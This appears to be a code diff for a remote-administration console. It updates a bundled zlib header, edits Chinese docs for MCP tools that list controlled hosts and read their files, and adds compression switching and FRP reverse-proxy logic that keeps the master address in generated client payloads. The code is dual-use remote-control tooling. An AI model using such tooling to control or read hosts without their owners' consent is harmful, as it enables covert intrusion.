||||
|
||||
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
|
||||
# define Z_LFS64
|
||||
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && \
|
||||
!defined(UNDER_CE) && (defined(__MINGW32__) || !defined(__GNUC__))
|
||||
# define Z_LFS64 /* native Windows has 64-bit file offsets */
|
||||
# define Z_WINLFS
|
||||
#endif
|
||||
|
||||
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
|
||||
@@ -516,7 +520,7 @@ typedef uLong FAR uLongf;
|
||||
#endif
|
||||
|
||||
#ifndef z_off_t
|
||||
# define z_off_t long long
|
||||
# define z_off_t long
|
||||
#endif
|
||||
|
||||
#if !defined(_WIN32) && defined(Z_LARGE64)
|
||||
@@ -531,6 +535,11 @@ typedef uLong FAR uLongf;
|
||||
# define z_off64_t z_off_t
|
||||
#endif
|
||||
|
||||
#if defined(Z_WINLFS) && defined(Z_WANT64) && !defined(Z_SOLO)
|
||||
# undef z_off_t
|
||||
# define z_off_t z_off64_t
|
||||
#endif
|
||||
|
||||
/* MVS linker does not support external names larger than 8 bytes */
|
||||
#if defined(__MVS__)
|
||||
#pragma map(deflateInit_,"DEIN")
|
||||
|
||||
+44
-33
@@ -1,5 +1,5 @@
|
||||
/* zlib.h -- interface of the 'zlib' general purpose compression library
|
||||
version 1.3.2, February 17th, 2026
|
||||
version 1.4, November 4th, 2026
|
||||
|
||||
Copyright (C) 1995-2026 Jean-loup Gailly and Mark Adler
|
||||
|
||||
@@ -41,11 +41,11 @@
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define ZLIB_VERSION "1.3.2"
|
||||
#define ZLIB_VERNUM 0x1320
|
||||
#define ZLIB_VERSION "1.4"
|
||||
#define ZLIB_VERNUM 0x1400
|
||||
#define ZLIB_VER_MAJOR 1
|
||||
#define ZLIB_VER_MINOR 3
|
||||
#define ZLIB_VER_REVISION 2
|
||||
#define ZLIB_VER_MINOR 4
|
||||
#define ZLIB_VER_REVISION 0
|
||||
#define ZLIB_VER_SUBREVISION 0
|
||||
|
||||
/*
|
||||
@@ -696,7 +696,9 @@ ZEXTERN int ZEXPORT deflateCopy(z_streamp dest,
|
||||
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being Z_NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
destination. If deflateCopy fails and dest is not Z_NULL, then dest->state
|
||||
is set to Z_NULL with dest otherwise unchanged, so that deflateEnd(dest) can
|
||||
be called safely, though dest is not a usable stream.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateReset(z_streamp strm);
|
||||
@@ -769,17 +771,17 @@ ZEXTERN uLong ZEXPORT deflateBound(z_streamp strm, uLong sourceLen);
|
||||
ZEXTERN z_size_t ZEXPORT deflateBound_z(z_streamp strm, z_size_t sourceLen);
|
||||
/*
|
||||
deflateBound() returns an upper bound on the compressed size after
|
||||
deflation of sourceLen bytes. It must be called after deflateInit() or
|
||||
deflateInit2(), and after deflateSetHeader(), if used. This would be used
|
||||
to allocate an output buffer for deflation in a single pass, and so would be
|
||||
called before deflate(). If that first deflate() call is provided the
|
||||
sourceLen input bytes, an output buffer allocated to the size returned by
|
||||
deflateBound(), and the flush value Z_FINISH, then deflate() is guaranteed
|
||||
to return Z_STREAM_END. Note that it is possible for the compressed size to
|
||||
be larger than the value returned by deflateBound() if flush options other
|
||||
than Z_FINISH or Z_NO_FLUSH are used.
|
||||
deflation of sourceLen bytes. It must be called after deflateInit() or
|
||||
deflateInit2(), and after deflateSetHeader() or deflateSetDictionary(), if
|
||||
used. This would be used to allocate an output buffer for deflation in a
|
||||
single pass, and so would be called before deflate(). If that first
|
||||
deflate() call is provided the sourceLen input bytes, an output buffer
|
||||
allocated to the size returned by deflateBound(), and the flush value
|
||||
Z_FINISH, then deflate() is guaranteed to return Z_STREAM_END. Note that it
|
||||
is possible for the compressed size to be larger than the value returned by
|
||||
deflateBound() if flush options other than Z_FINISH or Z_NO_FLUSH are used.
|
||||
|
||||
delfateBound_z() is the same, but takes and returns a size_t length. Note
|
||||
deflateBound_z() is the same, but takes and returns a size_t length. Note
|
||||
that a long is 32 bits on Windows.
|
||||
*/
|
||||
|
||||
@@ -789,7 +791,7 @@ ZEXTERN int ZEXPORT deflatePending(z_streamp strm,
|
||||
/*
|
||||
deflatePending() returns the number of bytes and bits of output that have
|
||||
been generated, but not yet provided in the available output. The bytes not
|
||||
provided would be due to the available output space having being consumed.
|
||||
provided would be due to the available output space having been consumed.
|
||||
The number of bits of output not provided are between 0 and 7, where they
|
||||
await more bits to join them in order to fill out a full byte. If pending
|
||||
or bits are Z_NULL, then those values are not set.
|
||||
@@ -869,8 +871,7 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm,
|
||||
instead. windowBits must be greater than or equal to the windowBits value
|
||||
provided to deflateInit2() while compressing, or it must be equal to 15 if
|
||||
deflateInit2() was not used. If a compressed stream with a larger window
|
||||
size is given as input, inflate() will return with the error code
|
||||
Z_DATA_ERROR instead of trying to allocate a larger window.
|
||||
size is given as input, inflate() may return with a Z_DATA_ERROR.
|
||||
|
||||
windowBits can also be zero to request that inflate use the window size in
|
||||
the zlib header of the compressed stream.
|
||||
@@ -980,7 +981,9 @@ ZEXTERN int ZEXPORT inflateCopy(z_streamp dest,
|
||||
inflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being Z_NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
destination. If inflateCopy fails and dest is not Z_NULL, then dest->state
|
||||
is set to Z_NULL with dest otherwise unchanged, so that inflateEnd(dest) can
|
||||
be called safely, though dest is not a usable stream.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT inflateReset(z_streamp strm);
|
||||
@@ -1095,9 +1098,10 @@ ZEXTERN int ZEXPORT inflateGetHeader(z_streamp strm,
|
||||
a terminating zero. If any of extra, name, or comment are not present in
|
||||
the header, then that field's pointer is set to Z_NULL. This allows the use
|
||||
of deflateSetHeader() with the returned structure to duplicate the header.
|
||||
Note that if those fields initially pointed to allocated memory, then the
|
||||
application will need to save them elsewhere so that they can be eventually
|
||||
freed.
|
||||
Though take care that none of the fields were truncated before so using it,
|
||||
lest havoc ensue. Note that if those fields initially pointed to allocated
|
||||
memory, then the application will need to save them elsewhere so that they
|
||||
can be eventually freed.
|
||||
|
||||
If inflateGetHeader is not used, then the header information is simply
|
||||
discarded. The header is always checked for validity, including the header
|
||||
@@ -1394,8 +1398,8 @@ ZEXTERN gzFile ZEXPORT gzopen(const char *path, const char *mode);
|
||||
errno can be checked to determine if the reason gzopen failed was that the
|
||||
file could not be opened. Note that if 'N' is in mode for non-blocking, the
|
||||
open() itself can fail in order to not block. In that case gzopen() will
|
||||
return NULL and errno will be EAGAIN or ENONBLOCK. The call to gzopen() can
|
||||
then be re-tried. If the application would like to block on opening the
|
||||
return NULL and errno will be EAGAIN or EWOULDBLOCK. The call to gzopen()
|
||||
can then be re-tried. If the application would like to block on opening the
|
||||
file, then it can use open() without O_NONBLOCK, and then gzdopen() with the
|
||||
resulting file descriptor and 'N' in the mode, which will set it to non-
|
||||
blocking.
|
||||
@@ -1501,9 +1505,12 @@ ZEXTERN z_size_t ZEXPORT gzfread(voidp buf, z_size_t size, z_size_t nitems,
|
||||
gzfread() returns the number of full items read of size size, or zero if
|
||||
the end of the file was reached and a full item could not be read, or if
|
||||
there was an error. gzerror() must be consulted if zero is returned in
|
||||
order to determine if there was an error. If the multiplication of size and
|
||||
nitems overflows, i.e. the product does not fit in a z_size_t, then nothing
|
||||
is read, zero is returned, and the error state is set to Z_STREAM_ERROR.
|
||||
order to determine if there was an error. If some data was read before an
|
||||
error, then that data is returned until exhausted, after which the next call
|
||||
will return zero and gzerror() will report the error. If the multiplication
|
||||
of size and nitems overflows, i.e. the product does not fit in a z_size_t,
|
||||
then nothing is read, zero is returned, and the error state is set to
|
||||
Z_STREAM_ERROR.
|
||||
|
||||
In the event that the end of file is reached and only a partial item is
|
||||
available at the end, i.e. the remaining uncompressed data length is not a
|
||||
@@ -1569,7 +1576,7 @@ ZEXTERN int ZEXPORTVA gzprintf();
|
||||
these possibilities can be determined using zlibCompileFlags().
|
||||
|
||||
If a Z_BUF_ERROR is returned, then nothing was written due to a stall on
|
||||
the non-blocking write destination.
|
||||
the non-blocking write destination. The operation can be retried.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzputs(gzFile file, const char *s);
|
||||
@@ -1677,7 +1684,9 @@ ZEXTERN z_off_t ZEXPORT gzseek(gzFile file,
|
||||
gzseek returns the resulting offset location as measured in bytes from
|
||||
the beginning of the uncompressed stream, or -1 in case of error, in
|
||||
particular if the file is opened for writing and the new starting position
|
||||
would be before the current position.
|
||||
would be before the current position, or if the resulting position would
|
||||
not be representable in the offset type. If gzseek returns -1, the stream
|
||||
position is unchanged.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzrewind(gzFile file);
|
||||
@@ -1778,7 +1787,8 @@ ZEXTERN const char * ZEXPORT gzerror(gzFile file, int *errnum);
|
||||
If errnum is not NULL, *errnum is set to zlib error number. If an error
|
||||
occurred in the file system and not in the compression library, *errnum is
|
||||
set to Z_ERRNO and the application may consult errno to get the exact error
|
||||
code.
|
||||
code. The error is reported by gzerror() as soon as it is detected, which
|
||||
may be before all of the data read prior to the error has been returned.
|
||||
|
||||
The application must not modify the returned string. Future calls to
|
||||
this function may invalidate the previously returned string. If file is
|
||||
@@ -1972,7 +1982,8 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
|
||||
* change the regular functions to 64 bits if _FILE_OFFSET_BITS is 64 (if
|
||||
* both are true, the application gets the *64 functions, and the regular
|
||||
* functions are changed to 64 bits) -- in case these are set on systems
|
||||
* without large file support, _LFS64_LARGEFILE must also be true
|
||||
* without large file support, _LFS64_LARGEFILE must also be true, except on
|
||||
* native Windows, where 64-bit offsets are always available
|
||||
*/
|
||||
#ifdef Z_LARGE64
|
||||
ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *);
|
||||
@@ -2029,7 +2040,7 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
|
||||
|
||||
#endif /* !Z_SOLO */
|
||||
|
||||
/* undocumented functions */
|
||||
/* undocumented functions (not part of the zlib API) */
|
||||
ZEXTERN const char * ZEXPORT zError(int);
|
||||
ZEXTERN int ZEXPORT inflateSyncPoint(z_streamp);
|
||||
ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table(void);
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -141,14 +141,17 @@
|
||||
{ "hosts": [ /* ... */ ], "total": 7, "totalAll": 9, "limit": 100, "offset": 0, "hasMore": false }
|
||||
```
|
||||
|
||||
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 只匹配计算机名,`query` 同时匹配
|
||||
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 匹配计算机名与备注,`query` 匹配
|
||||
计算机名、备注与 IP;`online=true`(默认)只列在线,`false` 只列历史中存在但当前离线的;
|
||||
`include_offline=true` 时再合并 `devicehistory.Store.Offline(online)`。`total` 是过滤后命中数,
|
||||
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。
|
||||
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。`group` 过滤作用于 Web 控制台
|
||||
覆盖后的分组(`device_groups.json`,见下文 `hosts[]`)。
|
||||
|
||||
`hosts[]` 的字段按 `outputSchema`:`id/name/group/version/clientType/os/ip/rtt/activeWindow/
|
||||
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`;两个服务端都
|
||||
没有 `authStatus/tls/remark`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
|
||||
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`,和 Go 版
|
||||
Web 控制台设置过的 `remark`(`device_notes.json`,未设置时省略)。`group` 以 Web 控制台的
|
||||
覆盖值优先(`device_groups.json`),没有覆盖时才用主机上报/历史记录里的分组;两个服务端都
|
||||
没有 `authStatus/tls`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
|
||||
|
||||
#### `get_host_detail`
|
||||
|
||||
@@ -255,7 +258,7 @@ M5 之前传任一参数都返回 `-32005` 并在 message 里点名。细节见
|
||||
|
||||
| 工具 | 汇总行之后 |
|
||||
|---|---|
|
||||
| `list_hosts` | 表头 `id name ip group os online clientType last_seen`,随后每台一行 |
|
||||
| `list_hosts` | 表头 `id name remark ip group os online clientType last_seen`,随后每台一行 |
|
||||
| `get_host_detail` | 单台:主机 JSON(compact);批量:`id ok detail`,成功行是主机 JSON,失败行是错误信息 |
|
||||
| `list_files` | 盘符 `drive typeName fileSystem totalMB freeMB`;目录 `name isDir size mtime` |
|
||||
| `get_audit_log` | `time type msg`,`msg` 是去掉信封字段后的 compact JSON |
|
||||
|
||||
@@ -97,7 +97,7 @@
|
||||
| `list_files` 的 `id/ids/path/limit/offset` | 全部实现;`offset` 是服务端在完整列表上做窗口裁剪;批量走 results 汇总 |
|
||||
| `read_file` 的语义 | **行语义**:`offset` 起始行(负数=末尾 N 行)、`limit` 行数、`max_bytes` 字节上限;`encoding` 支持 `auto/utf-8/gbk/gb18030/latin1` |
|
||||
| 输出字段 | `list_hosts` → `hosts/total/totalAll/limit/offset/hasMore`;`list_files` → `files`(不是 `entries`)/`drives`;`get_host_detail.capabilities` → `screenPreview/screenRegion/windowInfo/fileTransferV2/c2cPaths/registry/remoteControl/platform`;`read_file` → `encoding/eol/lines_total/lines_returned/sha256/size/text/truncated` |
|
||||
| hub 没有的字段 | `authStatus/tls/location/install_time/remark` 不伪造、直接不给(`outputSchema` 只强制 `hosts`) |
|
||||
| hub 没有的字段 | `authStatus/tls/location/install_time` 不伪造、直接不给(`outputSchema` 只强制 `hosts`);`remark` 来自 Web 控制台备注表(`DeviceNotes`),有则填、无则省略 |
|
||||
|
||||
`read_file` 的整文件下载仍受 `YAMA_MCP_READ_MAX`(2 MiB)硬门约束,超过 → `-32602`(schema 描述同款口径)。
|
||||
|
||||
@@ -197,7 +197,8 @@ curl -s -X POST localhost:18090/mcp -H "Authorization: Bearer $YAMA_MCP_TOKEN" \
|
||||
决定是否并入历史;`online/ip/os/group/name/client_type/query` 全为过滤(`name`/`query`
|
||||
大小写不敏感子串);按 `outputSchema` 返回 `{hosts,total,totalAll,limit,offset,hasMore}`,
|
||||
host 字段按 schema 命名组装,hub/历史里确有的 `location/install_time/screen/version` 照填,
|
||||
两边都没有的 `authStatus/tls/remark` 不伪造。
|
||||
两边都没有的 `authStatus/tls` 不伪造;`remark` 来自 Web 控制台备注表(`DeviceNotes`,
|
||||
有则填、无则省略),沿用 `name`/`query` 的过滤口径。
|
||||
- `get_host_detail`:`id` 或 `ids`(≤50,批量走 `{tool,total,succeeded,failed,skipped,results[]}`);
|
||||
`capabilities{screenPreview,screenRegion,windowInfo,fileTransferV2,c2cPaths,registry,remoteControl,platform}`
|
||||
(`protocol.SupportsCap` 逐位)——**不含 `v2`**(恒真,列出来误导)。
|
||||
|
||||
Binary file not shown.
@@ -826,6 +826,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[74].LoadBitmap(IDB_BITMAP_DISCLAIMER); // 其他→免责声明
|
||||
m_bmOnline[75].LoadBitmap(IDB_BITMAP_COPYNAME); // 右键→复制名称
|
||||
m_bmOnline[76].LoadBitmap(IDB_BITMAP_RUN_TEST); // 高级→运行测试程序
|
||||
m_bmCompressZstd.LoadBitmap(IDB_BITMAP_COMPRESS_ZSTD); // 线缆压缩:ZSTD
|
||||
m_bmCompressZlib.LoadBitmap(IDB_BITMAP_COMPRESS_ZLIB); // 线缆压缩:ZLIB
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -1177,6 +1179,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
|
||||
ON_COMMAND(ID_EXPERIMENT_COMPRESS_ZSTD, &CMy2015RemoteDlg::OnExperimentCompressZstd)
|
||||
ON_COMMAND(ID_EXPERIMENT_COMPRESS_ZLIB, &CMy2015RemoteDlg::OnExperimentCompressZlib)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss)
|
||||
@@ -2651,6 +2655,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
int chunkKb = 64, durMs = 50;
|
||||
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||
int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||
// zstd warm up
|
||||
char d[64] = { 0 };
|
||||
const char s[1] = { 0 };
|
||||
(void)ZSTD_compress(d, sizeof(d), s, 1, 1);
|
||||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||||
|
||||
UPDATE_SPLASH(20, "正在加载IP数据库...");
|
||||
@@ -3078,6 +3086,18 @@ static bool IsFrpSupported(const char* logPrefix = nullptr)
|
||||
return true;
|
||||
}
|
||||
|
||||
// 本地是否已启用自有 FRP(主菜单设置:UseFrp + 主控地址)。
|
||||
// 本地 FRP 只在 64 位主控上启动;32 位恒为未启用。
|
||||
bool CMy2015RemoteDlg::IsLocalFrpEnabled()
|
||||
{
|
||||
#ifdef _WIN64
|
||||
if (THIS_CFG.GetInt("frp", "UseFrp", 0) == 0) return false;
|
||||
return !THIS_CFG.GetStr("settings", "master", "").empty();
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::InitFrpClients()
|
||||
{
|
||||
// 显示初始化消息
|
||||
@@ -3095,7 +3115,7 @@ void CMy2015RemoteDlg::InitFrpClients()
|
||||
std::string ip = THIS_CFG.GetStr("settings", "master", "");
|
||||
|
||||
CString tip;
|
||||
if (hasUpperFrp) {
|
||||
if (hasUpperFrp && !IsLocalFrpEnabled()) {
|
||||
// 使用上级配置的 FRP,无需关心公网 IP
|
||||
tip = _L("使用上级配置的FRP代理");
|
||||
} else {
|
||||
@@ -3424,6 +3444,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
|
||||
if (!frpConfigStr.empty()) {
|
||||
FrpAutoConfig frpCfg = ParseFrpAutoConfig(frpConfigStr, heartbeat);
|
||||
if (frpCfg.enabled && frpCfg.remotePort > 0) {
|
||||
// 本地已启用自有 FRP 时保持本地地址:上级自动 FRP 只是备用入口,
|
||||
// 不再覆盖生成客户端/内核载荷里的主控地址。
|
||||
if (IsLocalFrpEnabled()) {
|
||||
return false;
|
||||
}
|
||||
outIP = frpCfg.serverAddr;
|
||||
outPort = frpCfg.remotePort;
|
||||
return true; // 使用了 FRP 地址
|
||||
@@ -3721,7 +3746,11 @@ void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||
// 首次:从无到有 → 启动
|
||||
if (newCfg.enabled) {
|
||||
StartFrpcAuto(newCfg);
|
||||
tip.FormatL("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效", newPort);
|
||||
if (IsLocalFrpEnabled()) {
|
||||
tip.Format(_TRF("[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变"), newPort);
|
||||
} else {
|
||||
tip.Format(_TRF("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效"), newPort);
|
||||
}
|
||||
} else {
|
||||
// 新配置无效,但 cur 非空 —— 提示但不启动;同时确保 [frp_auto] 不残留旧值
|
||||
ClearFrpAutoSection();
|
||||
@@ -3737,8 +3766,13 @@ void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||
StopFrpcAuto();
|
||||
if (newCfg.enabled) {
|
||||
StartFrpcAuto(newCfg); // 内部会用新值覆盖 [frp_auto]
|
||||
tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效",
|
||||
oldPort, newPort);
|
||||
if (IsLocalFrpEnabled()) {
|
||||
tip.Format(_TRF("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变"),
|
||||
oldPort, newPort);
|
||||
} else {
|
||||
tip.Format(_TRF("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效"),
|
||||
oldPort, newPort);
|
||||
}
|
||||
} else {
|
||||
// 新配置无效(解析失败等),旧的 FRPC 已停,[frp_auto] 必须一并清空
|
||||
ClearFrpAutoSection();
|
||||
@@ -4979,6 +5013,42 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
pExperimentMenu->DeleteMenu(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND);
|
||||
if (SHOULD_HIDE_CTX(HIDE_CTX_EXPERIMENT_TLS_DISABLE, CF_EXPERIMENT_TLS_DISABLE))
|
||||
pExperimentMenu->DeleteMenu(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND);
|
||||
// 线缆压缩切换:放在实验功能末尾。仅当该组仍有可见项时追加——被功能位整组
|
||||
// 隐藏时既不泄露,也不影响下面「空组摘除」的逻辑。
|
||||
if (!IsPopupEmptyOfItems(pExperimentMenu)) {
|
||||
// 置灰规则:选中的主机全是 zstd → ZSTD 置灰;全是 zlib → ZLIB 置灰;
|
||||
// 混选时两个都可用;有老客户端不支持切换时两个都置灰。
|
||||
int sel = 0, zstdN = 0, zlibN = 0, unsupported = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION modePos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
while (modePos) {
|
||||
context* c = GetContextByListIndex(m_CList_Online.GetNextSelectedItem(modePos));
|
||||
if (!c || !c->IsLogin()) continue;
|
||||
++sel;
|
||||
if (!c->SupportsCompressSwitch()) { ++unsupported; continue; }
|
||||
const int m = c->GetCompressMethod();
|
||||
if (m == COMPRESS_ZSTD) ++zstdN;
|
||||
else if (m == COMPRESS_ZLIB) ++zlibN;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
UINT zstdFlags = MF_STRING, zlibFlags = MF_STRING;
|
||||
if (sel > 0) {
|
||||
if (unsupported > 0) {
|
||||
zstdFlags |= MF_GRAYED;
|
||||
zlibFlags |= MF_GRAYED;
|
||||
} else {
|
||||
if (zstdN == sel) zstdFlags |= MF_GRAYED; // 已经是 zstd
|
||||
if (zlibN == sel) zlibFlags |= MF_GRAYED; // 已经是 zlib
|
||||
}
|
||||
}
|
||||
pExperimentMenu->AppendMenu(MF_SEPARATOR);
|
||||
pExperimentMenu->AppendMenuL(zstdFlags, ID_EXPERIMENT_COMPRESS_ZSTD, "线缆压缩:ZSTD");
|
||||
pExperimentMenu->AppendMenuL(zlibFlags, ID_EXPERIMENT_COMPRESS_ZLIB, "线缆压缩:ZLIB");
|
||||
pExperimentMenu->SetMenuItemBitmaps(ID_EXPERIMENT_COMPRESS_ZSTD, MF_BYCOMMAND,
|
||||
&m_bmCompressZstd, &m_bmCompressZstd);
|
||||
pExperimentMenu->SetMenuItemBitmaps(ID_EXPERIMENT_COMPRESS_ZLIB, MF_BYCOMMAND,
|
||||
&m_bmCompressZlib, &m_bmCompressZlib);
|
||||
}
|
||||
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
|
||||
if (SubMenu->GetSubMenu(i) == pExperimentMenu) {
|
||||
protoInsertPos = (int)i + 1;
|
||||
@@ -5326,6 +5396,37 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
// ---- 线缆压缩切换(在线列表右键 → 实验功能 → 线缆压缩:ZSTD / ZLIB)----
|
||||
void CMy2015RemoteDlg::OnExperimentCompressZstd() { SwitchSelectedCompression("zstd"); }
|
||||
void CMy2015RemoteDlg::OnExperimentCompressZlib() { SwitchSelectedCompression("zlib"); }
|
||||
|
||||
VOID CMy2015RemoteDlg::SwitchSelectedCompression(const char* mode)
|
||||
{
|
||||
// 老客户端不认识 COMMAND_SET_COMPRESS,收到只会丢弃;先按能力位过滤。
|
||||
int selected = 0, unsupported = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (context* ctx : ResolveCommandTargets()) {
|
||||
if (!ctx->IsLogin()) continue;
|
||||
++selected;
|
||||
if (!ctx->SupportsCompressSwitch()) ++unsupported;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (selected == 0) return;
|
||||
if (unsupported > 0) {
|
||||
MessageBoxL(_T("选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)"),
|
||||
_T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
// 载荷 [cmd]["zstd"|"zlib"]。客户端写入 settings\compress 后断开当前连接,
|
||||
// 原地切换压缩模式并由 StartClient 重连循环用新模式建链;服务端按每个连接的
|
||||
// 首包自动识别算法,不影响其它主机。
|
||||
std::string pkt(1, (char)COMMAND_SET_COMPRESS);
|
||||
pkt += mode;
|
||||
Mprintf("[compress-switch] send %s to %d host(s)\n", mode, selected);
|
||||
SendSelectedCommand((PBYTE)&pkt[0], (ULONG)pkt.size());
|
||||
}
|
||||
|
||||
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)----
|
||||
//
|
||||
// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL
|
||||
@@ -10357,6 +10458,15 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
||||
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
|
||||
};
|
||||
// 压缩算法标注:服务端按连接自动识别(首个压缩包解压时定型),追加在加密协议后面。
|
||||
// 不改 FormatL 的格式串,避免影响多语言翻译 key。
|
||||
CString typeText = typMap[type].c_str();
|
||||
switch (ctx->GetCompressMethod()) {
|
||||
case COMPRESS_ZSTD: typeText += " [ZSTD]"; break;
|
||||
case COMPRESS_ZLIB: typeText += " [ZLIB]"; break;
|
||||
case COMPRESS_NONE: typeText += " [NONE]"; break;
|
||||
default: break; // COMPRESS_UNKNOWN:不标注
|
||||
}
|
||||
CString processInfo;
|
||||
if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
|
||||
processInfo.FormatL("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
|
||||
@@ -10377,7 +10487,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + _L(" 位 "), res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
|
||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
||||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), elapsed,
|
||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typeText.GetString(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||||
// 地理信息只在加载了本地 IP 库(QQWry/ip2region)时才查询并展示。
|
||||
// 未装库时 m_IPConverter 是网络版 GetGeoLocation(同步外网 HTTP,可达数秒),
|
||||
// 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
|
||||
|
||||
@@ -506,6 +506,8 @@ public:
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[77];
|
||||
CBitmap m_bmCompressZstd; // 实验功能→线缆压缩:ZSTD
|
||||
CBitmap m_bmCompressZlib; // 实验功能→线缆压缩:ZLIB
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -571,6 +573,8 @@ public:
|
||||
// 获取有效的主控地址(优先使用上级FRP配置)
|
||||
// 返回值:是否使用了FRP地址
|
||||
